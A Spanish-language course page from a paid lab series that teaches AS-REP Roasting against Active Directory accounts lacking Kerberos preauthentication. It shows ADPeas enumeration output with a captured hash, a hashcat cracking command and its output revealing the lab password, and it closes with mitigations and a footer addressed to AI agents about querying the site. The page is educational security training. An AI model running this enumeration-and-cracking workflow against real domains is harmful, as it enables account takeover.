# ASREProastable

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/ej3kiu>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

{% hint style="success" %}
**OBJETIVO DEL EJERCICIO #17:**

Teniendo una autenticacion sobre cualquier usuario comprometer al usuario: `asrep.user`\ <mark style="color:green;">Este ejercicio deberia ser realizado desde el servidor de USER-SERVER.</mark>\
Para realizarlo es suficiente tener encendido UNICAMENTE WEBSERVER y First-DC.
{% endhint %}

"KRB\_AS\_REP Roasting" es un método de ataque que los actores malintencionados pueden utilizar para comprometer cuentas de usuario en un entorno que utiliza Kerberos para la autenticación, típicamente un dominio de Active Directory (AD) en Windows. Este ataque se dirige específicamente a cuentas que tienen la propiedad "Do not require Kerberos preauthentication" configurada. Veamos en detalle qué significa esto, cómo funciona el ataque, qué podría lograr un atacante y cómo se puede mitigar.

<figure><img src="/files/rzwzCCminshufHhT0ZuI" alt=""><figcaption></figcaption></figure>

## <mark style="color:red;">**¿Por qué es una vulnerabilidad?**</mark>

1. <mark style="color:red;">**Preautenticación de Kerberos:**</mark> Normalmente, Kerberos requiere que un usuario proporcione no solo su nombre de usuario sino también su contraseña para obtener un ticket TGT (Ticket Granting Ticket) durante el proceso de autenticación inicial (AS-REQ). Esta es una medida de seguridad diseñada para prevenir ataques de tipo "offline" en los que se intenta adivinar las contraseñas.
2. <mark style="color:red;">**Cuentas sin Preautenticación:**</mark> Sin embargo, en algunos casos, esta propiedad puede estar deshabilitada para ciertas cuentas debido a necesidades de compatibilidad o configuraciones erróneas. Esto significa que el KDC (Key Distribution Center) enviará la respuesta (AS-REP) que contiene el TGT cifrado sin requerir una prueba válida de conocimiento de la contraseña del usuario.

## <mark style="color:red;">**¿Cómo funciona el ataque?**</mark>

1. <mark style="color:red;">**Enumeración de Usuarios:**</mark> Un atacante primero enumerará las cuentas de usuario que tienen deshabilitada la preautenticación de Kerberos.
2. <mark style="color:red;">**Solicitud de TGT:**</mark> Luego, el atacante puede enviar una solicitud AS-REQ para esas cuentas y el KDC responderá con un AS-REP que contiene el TGT cifrado usando la contraseña del usuario.
3. <mark style="color:red;">**Ataque Offline:**</mark> A diferencia de un ataque de fuerza bruta online, el atacante puede ahora intentar descifrar el TGT offline, utilizando herramientas de cracking de contraseñas para adivinar la contraseña sin alertar al sistema o bloquear la cuenta de usuario.

## <mark style="color:red;">**¿Qué podría lograr un atacante?**</mark>

1. <mark style="color:red;">**Acceso no Autorizado:**</mark> Si el atacante descifra con éxito la contraseña, puede autenticarse como el usuario comprometido y acceder a los recursos, realizar movimientos laterales, elevar privilegios, exfiltrar datos, etc.
2. <mark style="color:red;">**Persistencia:**</mark> Los actores malintencionados pueden crear cuentas adicionales o configurar otros métodos de acceso para mantener la persistencia en la red comprometida.
3. <mark style="color:red;">**Elevación de Privilegios:**</mark> Si la cuenta comprometida tiene privilegios elevados, el atacante puede tomar el control total del dominio de Active Directory.

Esta vulnerabilidad fue previamente detectada con [el resultado de ADPeas](/cpad/enumeracion-en-ad/enumeracion-con-powershell-ofensivo/utilizando-adpeas.md):

{% code overflow="wrap" %}

```powershell
[?] +++++ Searching for ASREProastable User +++++
[!] Found ASREProastable User 'asrep.user':
sAMAccountName:                         asrep.user
distinguishedName:                      CN=asrep.user,CN=Users,DC=spartancybersec,DC=corp
objectSid:                              S-1-5-21-1861162130-2580302541-221646211-1128
pwdLastSet:                             09/29/2023 02:03:36
lastLogonTimestamp:                     09/29/2023 02:03:36
[+] userAccountControl:                 NORMAL_ACCOUNT, DONT_REQ_PREAUTH

Hashcat usage: Hashcat -m 18200
$krb5asrep$23$asrep.user@spartancybersec.corp:8995909962b0fd21a925ca8bfbf9c894$61322316eedd52d638ad1dabb7b011559f0dffb36de32b252d24291eb6a9fbe1a237acc2143a8e6f70bb65c3075caf28d22b92b491a87a8bc48d28233c1abc56b07239533fa9571c7c89e599e53a7551b03d8c702cf3759c19f75ea0f24c5cedd669fd57b6422c4b73ea95161b754f408306c479d7844c0a6bc2a9a15249b42ad8acf83f5afcd4d9b892835150a9bd49d377c6d548f9405139492a8bcf7ea740a31b986604cf05f1eb5f16c2d1cb826fd05417ab1550b3d2ce9ae2fce985b6349f62f788418a44c0e058107c4d5433dba37b0038c5b3f61b11bc0e671c2b77e6522cafca0cde6b8730a4808e803de91a78c34adb774100fa1761512e
```

{% endcode %}

Para crackear este hash podemos utilizar el siguiente comando:

{% hint style="info" %}
El resultado de un ataque de fuerza bruta siempre estara condicionado a tener un buen diccionario. Es recomendable generar diccionarios personalizados con patrones comunes como por ejemplo: Sp\@rt\@n2023
{% endhint %}

Primero almacenamos todo el hash en un archivo "hash-kerberoasting" y luego ejecutamos hashcat:

{% code overflow="wrap" %}

```bash
kali@kali=> hashcat -m 18200 output.txt /usr/share/wordlists/rockyou.txt

$krb5asrep$23$asrep.user@SPARTANCYBERSEC.CORP:2796da33cca042ae44286003c8321865$3140b07f9670a05a3307cbd1a2af15df4d197d6ee9fb42ab114a15f561a7ed7c96247b590dfa330ab9b796b9ef71e328f1d2f3f39d6059c9a04c38ebb0d08da9d00447a057ed458015b9812b7bf715cce15a62eda76b407b552f6ef6c2ee8940c0c4856dddecb7c0f6259d934864b10869d467197e7c4ae14baec82c527ebf67ab3a56f6e85318df1982ef3e2058ccab7c5b7848860e9a30ececc77e62ae4acc4605d109b3292765dd3136f227e31313b4f7feb511dec64cb62d2bcea183fa79fbd25b3705b6373f72e3cc06e9cccaf06c0128dc824a805555ee478a2284c0edeb8682004ee8ecced9d05b6b2c400bdd4728179bdbcf97dd46be560a:Password@1
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$asrep.user@SPARTANCYBERSEC.CORP:2796d...be560a
Time.Started.....: Sun Oct 22 11:38:16 2023 (4 secs)
Time.Estimated...: Sun Oct 22 11:38:20 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   621.9 kH/s (0.38ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 2103296/14344385 (14.66%)
Rejected.........: 0/2103296 (0.00%)
Restore.Point....: 2103040/14344385 (14.66%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: PeeKaBoo!NYY -> Passp0rt
Hardware.Mon.#1..: Util:100%
```

{% endcode %}

La contraseña para este caso era debil y es: Password\@1

## <mark style="color:red;">**Mitigación:**</mark>

1. <mark style="color:red;">**Revisar Configuraciones de Cuenta:**</mark> Regularmente revise las cuentas en el dominio de AD para asegurarse de que la preautenticación de Kerberos esté habilitada a menos que sea absolutamente necesario.
2. <mark style="color:red;">**Uso de Contraseñas Fuertes:**</mark> Implemente políticas que requieran contraseñas largas y complejas que sean difíciles de adivinar incluso con herramientas de cracking de contraseñas.
3. <mark style="color:red;">**Monitoreo y Alertas:**</mark> Establezca sistemas de monitoreo y alerta para detectar comportamientos anómalos o sospechosos relacionados con la autenticación de Kerberos y las consultas de directorio.
4. <mark style="color:red;">**Educación y Conciencia:**</mark> Eduque a los administradores de sistemas y redes sobre la importancia de la configuración de seguridad correcta de las cuentas y cómo ciertas configuraciones pueden dejar abierta la puerta a ataques.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/vulnerabilidades-y-ataques-en-ad/asreproastable.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
